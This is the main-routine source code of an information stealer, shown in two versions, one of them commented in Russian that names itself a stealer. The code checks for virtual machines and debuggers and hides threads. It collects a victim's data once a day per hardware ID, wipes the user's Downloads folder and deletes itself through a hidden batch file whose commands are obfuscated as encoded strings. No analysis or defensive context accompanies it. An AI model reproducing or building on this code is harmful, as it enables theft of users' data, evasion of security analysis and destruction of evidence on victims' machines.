private static void Main() { if (Program.AntiVM) { VMcheck.CheckAnti(); } if (Program.AntiDebugger) { Program.< > c__DisplayClass0_0 CS$ < > 8__locals1 = new Program.< > c__DisplayClass0_0(); if (AntiDebug.inDebugger()) { AntiDebug.badExit(); } Program.< > c__DisplayClass0_0 CS$ < > 8__locals2 = CS$ < > 8__locals1; Task[] array = new Task[1]; array[0] = new Task(delegate() { AntiDebug.StartAn(); }); CS$ < > 8__locals2.dd = array; new Thread(delegate() { Task[] dd = CS$ < > 8__locals1.dd; for (int i = 0; i < dd.Length; i++) { dd[i].Start(); } }).Start(); DebugProtect3.HideOSThreads(); } if (!File.Exists(Help.LocalData + "\\" + Help.HWID)) { Collection.GetCollection(); } else if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID + Help.dateLog)) { Collection.GetCollection(); } else if (Program.doubleExecute) { Collection.GetCollection(); } else { Environment.Exit(0); } Clean.selfRemove(); Environment.Exit(0); }
private static void Main() { try { // Подключаем нужные библиотеки AppDomain.CurrentDomain.AssemblyResolve += AppDomain_AssemblyResolve; Assembly AppDomain_AssemblyResolve(object sender, ResolveEventArgs args) { if (args.Name.Contains("DotNetZip")) { return(Assembly.Load(Resources.DotNetZip)); } return(null); } // Проверка файла Help.HWID if (!File.Exists(Help.LocalData + "\\" + Help.HWID)) { // Файла Help.HWID нет, запускаем стиллер Collection.GetCollection(); } else { // Файл Help.HWID есть, проверяем записанную в нем дату if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID + Help.dateLog)) { // Дата в файле Help.HWID отличается от сегодняшней, запускаем стиллер Collection.GetCollection(); } else { // В файле Help.HWID сегодняшняя дата, закрываемся, означает что сегодня уже был лог с данного пк и не нужно слать повторы. Environment.Exit(0); } } } catch { Clean.GetClean(); return; } finally { // Чистим следы за собой, небольшой метод вторичной проверки. Так же метод очищает папку Downloads у юзера Clean.GetClean(); // Самоудаление после отправки лога string batch = Path.GetTempFileName() + Decrypt.Get("H4sIAAAAAAAEANNLzk0BAMPCtLEEAAAA"); using (StreamWriter sw = new StreamWriter(batch)) { sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAFNySE3OyFfIT0sDAP8G798KAAAA")); // скрываем консоль sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEACvJzE3NLy1RMFGwU/AL9QEAGpgiIA8AAAA=")); // Задержка до выполнения следуюющих команд в секундах. sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHNx9VEAAJx/wSQEAAAA") + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHN2UQAAQkDmIgMAAAA=") + Path.GetTempPath()); // Переходим во временную папку юзера sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHNx9VEAAJx/wSQEAAAA") + "\"" + batch + "\"" + " /f /q"); // Удаляем .cmd } Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); Environment.Exit(0); } }